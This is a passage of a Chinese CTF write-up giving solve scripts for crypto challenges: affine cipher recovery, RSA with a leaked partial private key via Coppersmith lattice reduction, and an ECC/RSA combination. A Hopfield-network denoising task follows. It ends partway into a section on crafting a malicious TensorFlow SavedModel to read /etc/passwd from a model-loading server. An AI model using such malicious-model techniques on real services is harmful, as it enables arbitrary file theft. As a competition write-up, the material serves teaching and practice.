    6399813929853868574459945427394676529130894, 6399813929853868574459172005412087583238659, 
    6399813929853868574460097078763811616560744, 6399813929853868574459808941162454950444029, 
    6399813929853868574460188069585292669018654, 6399813929853868574459960592531590037873879, 
    6399813929853868574460188069585292669018654, 6399813929853868574459960592531590037873879, 
    6399813929853868574460263895269860212733579
]

def get_m_for_char(char_byte, L):
    &quot;&quot;&quot;重现题目中的 padding 逻辑&quot;&quot;&quot;
    pad_len = L - 1
    char_ascii = char_byte
    # 构造 padding
    pad_bytes = bytes([(char_ascii + i + 1) % 256 for i in range(pad_len)])
    # 拼接首字节和 padding
    seg_bytes = bytes([char_byte]) + pad_bytes
    return bytes_to_long(seg_bytes)

# 1. 恢复参数 b
# 利用已知明文攻击：Flag 的第一个字符是 &apos;f&apos;
m0 = get_m_for_char(ord(&apos;f&apos;), L)
c0 = C[0]

# 由 c0 = (a * m0 + b) % S 推导：
b = (c0 - a * m0) % S
print(f&quot;[+] Recovered b: {b}&quot;)

# 2. 解密所有片段
# 计算 a 的模逆元
try:
    a_inv = pow(a, -1, S)
except ValueError:
    print(&quot;[-] Inverse of a does not exist mod S&quot;)
    exit()

decrypted_flag = &quot;&quot;
for c in C:
    # 解密公式：m = a^-1 * (c - b) % S
    m = (a_inv * (c - b)) % S
    
    # 转回 bytes，取第一个字节
    seg_bytes = long_to_bytes(m)
    
    # 注意：long_to_bytes 可能会丢弃前导 0 字节，虽然这里不太可能发生（因为 padding 不为 0）
    # 但为了严谨，可以补齐长度
    if len(seg_bytes) &amp;lt; L:
        seg_bytes = b&apos;\x00&apos; * (L - len(seg_bytes)) + seg_bytes
        
    decrypted_flag += chr(seg_bytes[0])

print(f&quot;[+] Flag: {decrypted_flag}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;1ZRSA&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *
from gmpy2 import *
import random

def RSA(m,nbit):
    while True:
        p, q, e = getPrime(nbit), getPrime(nbit), getPrime(nbit)
        n = p * q
        phi_n = (p - 1) * (q - 1)
        d = int(inverse(e, phi_n))
        if len(bin(d)[2:]) == 1024:
            break

    keep_bits = nbit * 2 - 100
    mask = int((1 &amp;lt;&amp;lt; keep_bits) - 1)
    d_ = d &amp;amp; mask
    c = powmod(m, e, n)
    return c,n,e,d_

def gen(nbit):

    c, n, e, d_ = RSA(m, nbit)
    N = getPrime(nbit * 2)
    t = random.randint(1, nbit * 2 - 1)
    C = [random.randint(0, N - 1) for _ in range(t - 1)] + [powmod(d_,1,N)]
    R.&amp;lt;x&amp;gt; = GF(N)[]
    f = R(0)
    for i in range(t):
        f += x ** (t - i - 1) * C[i]
    enc = [(a, f(a)) for a in [random.randint(1, N - 1) for _ in range(t)]]

    with open(&quot;output.txt&quot;, &quot;w&quot;, encoding=&quot;utf-8&quot;) as f_out:
        f_out.write(f&quot;c = {c}\n&quot;)
        f_out.write(f&quot;n = {n}\n&quot;)
        f_out.write(f&quot;e = {e}\n&quot;)
        f_out.write(f&quot;N = {N}\n&quot;)
        f_out.write(f&quot;enc = {enc}\n&quot;)

flag = &quot;flag{-------------------------------}&quot;
m = bytes_to_long(flag.encode())

if __name__ == &quot;__main__&quot;:
    gen(512)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;题目提供了 RSA 加密系统的参数：密文 $c$、模数 $n$、公钥指数 $e$（512位），以及一组关于私钥 $d$ 的多项式分享值 &lt;code&gt;enc&lt;/code&gt; 和对应的模数 $N$。&lt;/p&gt;
&lt;p&gt;题目主要分为两个阶段：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;利用拉格朗日插值法恢复私钥 $d$ 的低位部分 $d_{low}$。&lt;/li&gt;
&lt;li&gt;利用 Coppersmith (Herrmann-May) 攻击，结合已知的 $d_{low}$ 恢复 $n$ 的因子 $p, q$，从而恢复完整的私钥并解密。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;第一步：恢复 $d$ 的低位 ($d_{low}$)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;题目给出的 &lt;code&gt;enc&lt;/code&gt; 是在模 $N$ 下的多项式分享值。根据 Shamir 秘密分享的原理，常数项即为秘密值。由于题目给出了足够多的点 $(x_i, y_i)$，我们可以直接在有限域 $GF(N)$ 上使用拉格朗日插值法求出 $f(0)$。&lt;/p&gt;
&lt;p&gt;关键代码 (SageMath):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 参见 solve_step1.sage
def get_d_part(enc, N):
    nums = [val[0] for val in enc]
    vals = [val[1] for val in enc]
    k = len(enc)
    d_part = 0
    R = Zmod(N)
    
    # 拉格朗日插值公式
    for i in range(k):
        xi = nums[i]
        yi = vals[i]
        numerator = R(1)
        denominator = R(1)
        for j in range(k):
            if i != j:
                xj = nums[j]
                numerator *= R(-xj)
                denominator *= R(xi - xj)
        term = R(yi) * numerator * (1/denominator)
        d_part += term
    return int(d_part)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;恢复出的 $d_{low}$ 长度为 924 bit。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第二步：构建 Coppersmith 攻击模型&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;已知 RSA 密钥方程：
$$e \cdot d \equiv 1 \pmod{\phi(n)}$$
$$e \cdot d = 1 + k \cdot \phi(n)$$&lt;/p&gt;
&lt;p&gt;其中 $\phi(n) = (p-1)(q-1) = n - (p+q) + 1$。令 $s = p+q-1$，则 $\phi(n) = n-s$。
方程变为：
$$e \cdot d - 1 = k(n-s)$$&lt;/p&gt;
&lt;p&gt;我们将私钥 $d$ 分解为高位 $d_{high}$ 和低位 $d_{low}$：
$$d = d_{high} \cdot 2^{924} + d_{low}$$&lt;/p&gt;
&lt;p&gt;代入原方程：
$$e \cdot (d_{high} \cdot 2^{924} + d_{low}) - 1 = k(n-s)$$&lt;/p&gt;
&lt;p&gt;移项整理：
$$k(n-s) - (e \cdot d_{low} - 1) = e \cdot d_{high} \cdot 2^{924}$$&lt;/p&gt;
&lt;p&gt;观察上式，右边是 $e \cdot 2^{924}$ 的倍数。因此我们可以构造一个模方程：
$$k(n-s) - (e \cdot d_{low} - 1) \equiv 0 \pmod{e \cdot 2^{924}}$$&lt;/p&gt;
&lt;p&gt;这是一个二元模多项式方程。令 $y = k, z = s$，模数 $M = e \cdot 2^{924}$，多项式为：
$$f(y, z) = y(n-z) - (e \cdot d_{low} - 1)$$&lt;/p&gt;
&lt;p&gt;我们需要找到 $f(y, z) \equiv 0 \pmod M$ 的小根 $(y, z)$。
其中：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$k$ 的大小约为 $e \cdot d / n \approx e$ (512 bit)。&lt;/li&gt;
&lt;li&gt;$s$ 的大小约为 $\sqrt{n}$ (512 bit)。&lt;/li&gt;
&lt;li&gt;模数 $M \approx 512 + 924 = 1436$ bit。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这符合 Herrmann-May 攻击的使用场景（求解带有未知模数因子的线性方程，或者此处直接视为模 $M$ 下的二元方程求解）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第三步：格基规约求解 (Lattice Reduction)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们使用 Coppersmith 方法构建格。
构造移位多项式：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$g_{ij} = y^j \cdot M^i \cdot f^{m-i}$&lt;/li&gt;
&lt;li&gt;$h_{ij} = z^j \cdot M^i \cdot f^{m-i}$&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;选取参数 $m=6, t=3$，构建格矩阵并使用 LLL 算法进行规约。
规约后，提取格基中最短的两个向量对应多项式 $f_1, f_2$。
计算 $Res_y(f_1, f_2)$ (关于 $y$ 的结式) 消除变量 $k$，得到关于 $z$ (即 $s$) 的一元多项式。
求解该多项式的根，即可得到 $s$。&lt;/p&gt;
&lt;p&gt;关键代码 (solve_step14.sage):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;m = 6
t = 3
PR = PolynomialRing(ZZ, names=(&apos;y&apos;, &apos;z&apos;))
y, z = PR.gens()
f = y * (n - z) - e * d_low + 1
Mod = e * 2**924

# ... (构建格矩阵并 LLL 规约) ...

# 求解结式
h = f1.resultant(f2, y)
roots = h.univariate_polynomial().monic().roots()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;第四步：分解 $n$ 与解密&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;得到 $s = p+q-1$ 后，我们可以轻易求出 $p, q$：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$p+q = s+1$&lt;/li&gt;
&lt;li&gt;$p \cdot q = n$&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;构造一元二次方程：
$$X^2 - (s+1)X + n = 0$$&lt;/p&gt;
&lt;p&gt;解方程得到两个根即为 $p$ 和 $q$。
进而计算私钥 $d = e^{-1} \pmod{\phi(n)}$ 并解密密文。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;delta = (s + 1)**2 - 4 * n
delta_sqrt = delta.isqrt()
q = (s + 1 + delta_sqrt) // 2
p = n // q
d = inverse_mod(e, (p-1)*(q-1))
m = power_mod(c, d, n)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from sage.all import *
import time
import re
from Crypto.Util.number import long_to_bytes

def solve():
    # Load data
    if os.path.exists(&apos;output.txt&apos;):
        with open(&apos;output.txt&apos;, &apos;r&apos;) as f:
            content = f.read()
        n_match = re.search(r&apos;n = (\d+)&apos;, content)
        c_match = re.search(r&apos;c = (\d+)&apos;, content)
        e_match = re.search(r&apos;e = (\d+)&apos;, content)
        
        n = Integer(n_match.group(1))
        c = Integer(c_match.group(1))
        e = Integer(e_match.group(1))
    else:
        print(&quot;output.txt not found&quot;)
        return

    if os.path.exists(&apos;d_low.txt&apos;):
        with open(&apos;d_low.txt&apos;, &apos;r&apos;) as f:
            d_low = Integer(f.read().strip())
    else:
        d_low = 73679547762758907310076446274562776194202519367884037643715953242934145935677974011667669228912277576799256237051335084262460583763144680637218032833174262135127831256068751475905595967306961059198264080423330034299629317100845637335317944239994339909428725631366533360608531557

    print(&quot;Running Coppersmith Attack...&quot;)
    
    leak = 924
    M_shift = 2**leak
    
    # k approx e
    Y = 2**512 
    # s approx sqrt(n)
    Z = int(3 * n**0.5)
    
    # Parameters
    m = 6 # Increased
    t = 3 # Increased
    
    print(f&quot;m={m}, t={t}&quot;)
    
    poly = []
    monomials = set()
    
    PR = PolynomialRing(ZZ, names=(&apos;y&apos;, &apos;z&apos;))
    y, z = PR.gens()
    
    # f = k(n-s) - e*d_low + 1
    # y = k, z = s
    f = y * (n - z) - e * d_low + 1
    
    # Modulus = e * M_shift
    Mod = e * M_shift
    
    # Generate polynomials
    # g_ij = y^j * (Mod)^i * f^(m-i)
    
    for i in range(m + 1):
        for j in range(i + 1): # x-shifts? y is k.
            # In reference: y^j
            # k shifts.
            g = y**j * (Mod)**i * f**(m - i)
            poly.append(g)
            for mono in g.monomials():
                monomials.add(mono)
                
    # h_ij = z^j * (Mod)^i * f^(m-i)
    # s shifts
    for i in range(m + 1):
        for j in range(1, t + 1):
            h = z**j * (Mod)**i * f**(m - i)
            poly.append(h)
            for mono in h.monomials():
                monomials.add(mono)
                
    monomials = sorted(monomials)
    dim = len(poly)
    print(f&quot;Lattice dimension: {dim} x {len(monomials)}&quot;)
    
    # Build matrix
    mat = Matrix(ZZ, dim, len(monomials))
    
    for row, p in enumerate(poly):
        for col, mono in enumerate(monomials):
            mat[row, col] = p.monomial_coefficient(mono) * mono(Y, Z)
            
    # Reduce
    print(&quot;LLL reduction...&quot;)
    st = time.time()
    L = mat.LLL()
    et = time.time()
    print(f&quot;LLL time: {et - st:.2f}s&quot;)
    
    # Extract polynomials
    # We need 2 shortest vectors
    vec1 = L[0]
    vec2 = L[1]
    
    f1 = 0
    for idx, mono in enumerate(monomials):
        f1 += (vec1[idx] // mono(Y, Z)) * mono
        
    f2 = 0
    for idx, mono in enumerate(monomials):
        f2 += (vec2[idx] // mono(Y, Z)) * mono
        
    print(&quot;Solving resultants...&quot;)
    
    # Resultant w.r.t y (k)
    # Eliminate y
    try:
        h = f1.resultant(f2, y)
        
        # Roots of h(z) -&amp;gt; s
        roots = h.univariate_polynomial().monic().roots()
        
        for r, _ in roots:
            s_cand = Integer(r)
            print(f&quot;Found candidate s: {s_cand}&quot;)
            
            # Check s
            # n = p*q = (s+1-q)*q = s*q + q - q^2
            # q^2 - (s+1)q + n = 0
            
            delta = (s_cand + 1)**2 - 4 * n
            if delta.is_square():
                print(&quot;Valid s found!&quot;)
                # Recover p, q
                delta_sqrt = delta.isqrt()
                q = (s_cand + 1 + delta_sqrt) // 2
                p = n // q
                
                phi = (p - 1) * (q - 1)
                d = inverse_mod(e, phi)
                
                m_msg = power_mod(c, d, n)
                print(f&quot;Flag: {long_to_bytes(int(m_msg)).decode(errors=&apos;ignore&apos;)}&quot;)
                return
    except Exception as ex:
        print(f&quot;Error solving resultant: {ex}&quot;)

if __name__ == &apos;__main__&apos;:
    solve()

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Abg&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *

def ECC(bit):
    g = getPrime(bit)
    a = getPrime(bit)
    b = getPrime(bit)

    E = EllipticCurve(GF(g),[a,b])
    J = E.random_point()
    K = E.random_point()
    L = E.random_point()

    r = getPrime(bit // 2)
    k = getPrime(16)

    s  = r * J
    s1 = r * J + k * L
    s2 = r * k * J

    return L.xy(), s.xy(), s1.xy(), s2.xy(), K.xy()

def RSA(m, s, bit):
    p = getPrime(bit)
    q = getPrime(bit)
    rr = getPrime(bit)
    n = p * q

    gift = pow(rr, rr * (p-1), n)
    enc = pow(m, int(s), n)

    return gift, n, enc

flag = &quot;flag{--------------------------------}&quot;
m = bytes_to_long(flag.encode())

L, s, s1, s2, K = ECC(256)
gift, n, enc = RSA(m, abs(int(s[0] - s[1])), 512) 

print(&quot;L =&quot;, L)
print(&quot;s1 =&quot;, s1)
print(&quot;s2 =&quot;, s2)
print(&quot;K =&quot;, K)
print(&quot;enc =&quot;, enc)
print(&quot;gift =&quot;, gift)
print(&quot;n =&quot;, n)

&apos;&apos;&apos;
L = 
s1 = 
s2 = 
K = 
enc = 
gift = 
n = 
&apos;&apos;&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这道题目结合了椭圆曲线密码学 (ECC) 和 RSA 算法。题目提供了一个 Sage 脚本 &lt;code&gt;abg.sage&lt;/code&gt; 的输出，我们需要从中恢复 Flag。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. ECC 部分&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;题目定义了椭圆曲线 $y^2 \equiv x^3 + ax + b \pmod g$，并给出了四个点 $L, s_1, s_2, K$ 的坐标。
生成过程如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$g, a, b$ 是 $bit$ 位的随机素数（题目中 $bit=256$）。&lt;/li&gt;
&lt;li&gt;$J, K, L$ 是曲线上的随机点。&lt;/li&gt;
&lt;li&gt;$r$ 是随机数，$k$ 是 16 位的随机素数。&lt;/li&gt;
&lt;li&gt;$s = r \cdot J$&lt;/li&gt;
&lt;li&gt;$s_1 = r \cdot J + k \cdot L = s + k \cdot L$&lt;/li&gt;
&lt;li&gt;$s_2 = r \cdot k \cdot J = k \cdot s$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我们的目标是恢复曲线参数 $g, a, b$ 以及点 $s$ 的坐标。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. RSA 部分&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;题目给出了 RSA 的相关参数：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$n = p \cdot q$&lt;/li&gt;
&lt;li&gt;$gift = rr^{rr(p-1)} \pmod n$&lt;/li&gt;
&lt;li&gt;$enc = m^e \pmod n$，其中 $e = |s_x - s_y|$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我们需要利用 &lt;code&gt;gift&lt;/code&gt; 分解 $n$，并利用 ECC 部分恢复出的 $s$ 计算私钥解密。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第一步：恢复椭圆曲线参数 $g, a, b$&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;由于题目给出了曲线上的四个点，我们可以利用点坐标满足曲线方程的性质来恢复模数 $g$。
曲线方程为：$y^2 \equiv x^3 + ax + b \pmod g$
移项得：$y^2 - x^3 \equiv ax + b \pmod g$
令 $V_i = y_i^2 - x_i^3$，则有 $V_i \equiv ax_i + b \pmod g$。&lt;/p&gt;
&lt;p&gt;对于任意两点 $P_i, P_j$，有：
$V_i - V_j \equiv a(x_i - x_j) \pmod g$&lt;/p&gt;
&lt;p&gt;对于任意三点 $P_i, P_j, P_k$，我们可以消去 $a$：
$(V_i - V_j)(x_j - x_k) \equiv a(x_i - x_j)(x_j - x_k) \pmod g$
$(V_j - V_k)(x_i - x_j) \equiv a(x_j - x_k)(x_i - x_j) \pmod g$
两式相减，右边为 0，即：
$(V_i - V_j)(x_j - x_k) - (V_j - V_k)(x_i - x_j) \equiv 0 \pmod g$&lt;/p&gt;
&lt;p&gt;这意味着计算出的值是 $g$ 的倍数。利用多组点对计算该值，并求最大公约数 (GCD)，即可恢复出 $g$。
得到 $g$ 后，代入 $a = (V_i - V_j)(x_i - x_j)^{-1} \pmod g$ 和 $b = V_i - ax_i \pmod g$ 即可求出 $a$ 和 $b$。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第二步：爆破 $k$ 并恢复 $s$&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;根据题目逻辑：
$s_1 = s + k \cdot L$
$s_2 = k \cdot s$
消去 $s$，得：
$s_2 = k \cdot (s_1 - k \cdot L)$&lt;/p&gt;
&lt;p&gt;由于 $k$ 是 16 位的素数，范围非常小 ($&amp;lt; 65536$)。我们可以遍历所有可能的 $k$，验证上述等式是否成立。
找到正确的 $k$ 后，计算 $s = s_1 - k \cdot L$。
最后计算 RSA 的公钥指数 $e = |s.x - s.y|$。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第三步：利用 gift 分解 $n$&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;题目给出 $gift = rr^{rr(p-1)} \pmod n$。
根据费马小定理，对于素数 $p$，有 $x^{p-1} \equiv 1 \pmod p$。
因此，$gift \equiv (rr^{rr})^{p-1} \equiv 1 \pmod p$。
这说明 $gift - 1$ 是 $p$ 的倍数。
我们可以通过计算 $\text{GCD}(gift - 1, n)$ 直接求出 $p$。
然后 $q = n // p$。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;第四步：RSA 解密&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;有了 $p, q, e$，我们可以计算私钥 $d$：
$d = e^{-1} \pmod {(p-1)(q-1)}$
$m = enc^d \pmod n$
将 $m$ 转换为字节串即为 Flag。&lt;/p&gt;
&lt;p&gt;Exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from Crypto.Util.number import *

# 数据填入 (略)
L = ...
s1 = ...
s2 = ...
K = ...
enc = ...
gift = ...
n = ...

# 1. 恢复 ECC 参数
pts = [L, s1, s2, K]
polys = []
for i in range(len(pts)):
    x1, y1 = pts[i]
    v1 = y1^2 - x1^3
    for j in range(i + 1, len(pts)):
        x2, y2 = pts[j]
        v2 = y2^2 - x2^3
        for k in range(j + 1, len(pts)):
            x3, y3 = pts[k]
            v3 = y3^2 - x3^3
            val = (v1 - v2) * (x2 - x3) - (v2 - v3) * (x1 - x2)
            if val != 0:
                polys.append(abs(val))

g = polys[0]
for val in polys[1:]:
    g = gcd(g, val)

print(f&quot;Recovered g: {g}&quot;)

# 计算 a, b
x1, y1 = pts[0]
x2, y2 = pts[1]
v1 = y1^2 - x1^3
v2 = y2^2 - x2^3
a = (v1 - v2) * inverse_mod(x1 - x2, g) % g
b = (v1 - a * x1) % g

E = EllipticCurve(GF(g), [a, b])
PL = E(L)
Ps1 = E(s1)
Ps2 = E(s2)

# 2. 爆破 k
print(&quot;Brute forcing k...&quot;)
found_k = None
for k in range(1, 65536):
    try:
        # 验证 k * (s1 - k*L) == s2
        if k * Ps1 - k * k * PL == Ps2:
            found_k = k
            print(f&quot;Found k: {k}&quot;)
            break
    except:
        continue

# 恢复 s
Ps = Ps1 - found_k * PL
s_coords = Ps.xy()
s_val = abs(int(s_coords[0] - s_coords[1]))

# 3. RSA 分解
p = gcd(gift - 1, n)
q = n // p
print(f&quot;p: {p}&quot;)
print(f&quot;q: {q}&quot;)

# 4. 解密
d = inverse_mod(s_val, (p - 1) * (q - 1))
m_int = power_mod(enc, d, n)
flag = long_to_bytes(m_int)
print(f&quot;Flag: {flag}&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Artificial Intelligence&lt;/h1&gt;
&lt;h2&gt;Contaminated-data&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;题目分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;题目提供了两个文件：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;c.npy&lt;/code&gt;: 一个形状为 &lt;code&gt;(4, 76)&lt;/code&gt; 的二进制数组（元素为 0 和 1）。这代表了一个被“污染”或带有噪声的数据状态。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;weights.npy&lt;/code&gt;: 一个形状为 &lt;code&gt;(304, 304)&lt;/code&gt; 的浮点数权重矩阵。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;初步观察&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;权重矩阵的维度 &lt;code&gt;304&lt;/code&gt; 正好等于 &lt;code&gt;4 * 76&lt;/code&gt;，说明它是对展平后的状态向量进行操作的。&lt;/li&gt;
&lt;li&gt;检查 &lt;code&gt;weights.npy&lt;/code&gt; 发现矩阵是对称的（$W = W^T$），且对角线元素全为 0。&lt;/li&gt;
&lt;li&gt;这种结构（对称且零对角线）是 &lt;strong&gt;Hopfield Network（霍普菲尔德网络）&lt;/strong&gt; 的典型特征。Hopfield 网络是一种能够作为联想存储器的递归神经网络，它可以根据部分或受损的输入恢复出存储的完整模式。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;解题思路&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;既然识别出这是 Hopfield 网络，且题目名为 &quot;Contaminated-data&quot;，我们的目标就是利用给定的权重矩阵，将受污染的状态 &lt;code&gt;c&lt;/code&gt; 恢复到网络存储的稳定状态（Stable State）。&lt;/p&gt;
&lt;p&gt;Hopfield 网络的神经元状态更新规则如下：
$$ s&lt;em&gt;i(t+1) = \text{sign}\left(\sum&lt;/em&gt;{j} w_{ij} s_j(t)\right) $$&lt;/p&gt;
&lt;p&gt;其中 $s$ 通常取值为 ${-1, 1}$。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;步骤&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;加载 &lt;code&gt;c.npy&lt;/code&gt; 和 &lt;code&gt;weights.npy&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;将 &lt;code&gt;c&lt;/code&gt; 展平并转换为双极性状态（将 0 映射为 -1，1 保持为 1，或者直接处理 0/1，取决于具体实现，但标准 Hopfield 使用 -1/1）。&lt;/li&gt;
&lt;li&gt;反复应用更新规则，直到状态不再发生变化（收敛）。&lt;/li&gt;
&lt;li&gt;将收敛后的状态还原为 &lt;code&gt;(4, 76)&lt;/code&gt; 的形状并可视化。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;exp：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import numpy as np

# 1. 加载数据
c = np.load(&apos;c.npy&apos;)
weights = np.load(&apos;weights.npy&apos;)

# 2. 预处理
# 将 0/1 转换为 -1/1 以符合 Hopfield 网络标准操作
state = c.flatten()
state = np.where(state == 0, -1, 1)

# 3. 迭代恢复
print(&quot;开始恢复状态...&quot;)
for i in range(20):
    # 计算激活值: W * s
    activation = weights @ state

    # 应用符号函数 sign
    new_state = np.sign(activation)

    # 处理 sign(0) 的情况，防止变成 0
    new_state[new_state == 0] = 1

    # 检查是否收敛
    diff = np.sum(new_state != state)
    print(f&quot;Iteration {i+1}: changed {diff} bits&quot;)

    if diff == 0:
        print(&quot;状态已收敛！&quot;)
        break
    state = new_state

# 4. 可视化结果
# 将 -1/1 转回 0/1
recovered_bits = np.where(state == -1, 0, 1)
grid = recovered_bits.reshape(4, 76)

print(&quot;\n恢复后的图案：&quot;)
for row in grid:
    # 使用 # 和空格打印，便于人眼识别
    print(&quot;&quot;.join([&quot;#&quot; if x == 1 else &quot; &quot; for x in row]))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;结果分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;运行上述脚本后，我们得到如下字符网格：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;## #    #  ## # ## #   ## # # ##     #  #   #      # # # # ## ## #
#   #   # # #   #  #   #   # # # # ##    # # #   #      ## # # # #  #   #
## #   ## ## #  ## #   # # # # #      ## #   #      # # # # #   #   #
#   ## # # ## # #   ## ##  #  ## # # # ## ## # # # ## # #  #  #
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;人工识别这些像素点组成的字符：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;FLAG{&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FLOVE&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_&lt;/code&gt; (下划线)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ALL&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_&lt;/code&gt; (下划线)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HURT&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;H: &lt;code&gt;#.#&lt;/code&gt;, &lt;code&gt;##&lt;/code&gt;, &lt;code&gt;#.#&lt;/code&gt;, &lt;code&gt;#.#&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;U: &lt;code&gt;#.#&lt;/code&gt;, &lt;code&gt;#.#&lt;/code&gt;, &lt;code&gt;#.#&lt;/code&gt;, &lt;code&gt;##&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;R: &lt;code&gt;##&lt;/code&gt;, &lt;code&gt;#.#&lt;/code&gt;, &lt;code&gt;#.&lt;/code&gt;, &lt;code&gt;#.#&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;T: &lt;code&gt;##&lt;/code&gt;, &lt;code&gt;.#.&lt;/code&gt;, &lt;code&gt;.#.&lt;/code&gt;, &lt;code&gt;.#.&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;}&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;组合起来得到 Flag。&lt;/p&gt;
&lt;h2&gt;Modelscope&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1.页面功能&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;允许用户上传一个 &lt;code&gt;.zip&lt;/code&gt; 文件。&lt;/li&gt;
&lt;li&gt;后端会解压这个 zip 包。&lt;/li&gt;
&lt;li&gt;使用 TensorFlow 的 &lt;code&gt;tf.saved_model.load&lt;/code&gt; 加载模型。&lt;/li&gt;
&lt;li&gt;调用签名为 &lt;code&gt;serve&lt;/code&gt; 的函数，传入一个测试张量 &lt;code&gt;tf.constant([[1.0]])&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;打印并返回推理结果。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;核心代码逻辑推测如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import tensorflow as tf
# ... 解压 zip 到 tmpdir ...
loaded_model = tf.saved_model.load(tmpdir)
signature = loaded_model.signatures[&apos;serve&apos;]
result = signature(tf.constant([[1.0]], dtype=tf.float32))
print(result[&apos;prediction&apos;].numpy())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;漏洞原理&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;TensorFlow 的计算图（Graph）功能非常强大，它不仅包含数学运算，还包含了文件 I/O 操作（如 &lt;code&gt;tf.io.read_file&lt;/code&gt;）。
当攻击者构造一个恶意的 &lt;code&gt;SavedModel&lt;/code&gt;，在计算图中定义了读取文件的操作，并将其作为模型的输出返回时，服务端在执行模型推理的过程中，就会真正地去执行这个文件读取操作，并将文件内容作为结果返回给攻击者。&lt;/p&gt;
&lt;p&gt;这导致了 &lt;strong&gt;任意文件读取漏洞 (Arbitrary File Read)&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. 解题步骤&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4.1 环境准备与漏洞验证&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;首先，我们需要在本地编写 Python 脚本来生成一个恶意的 TensorFlow 模型。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;目标&lt;/strong&gt;: 读取 &lt;code&gt;/etc/passwd&lt;/code&gt; 验证漏洞。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import tensorflow as tf

class MyModel(tf.Module):
    def __init__(self):
        super(MyModel, self).__init__()
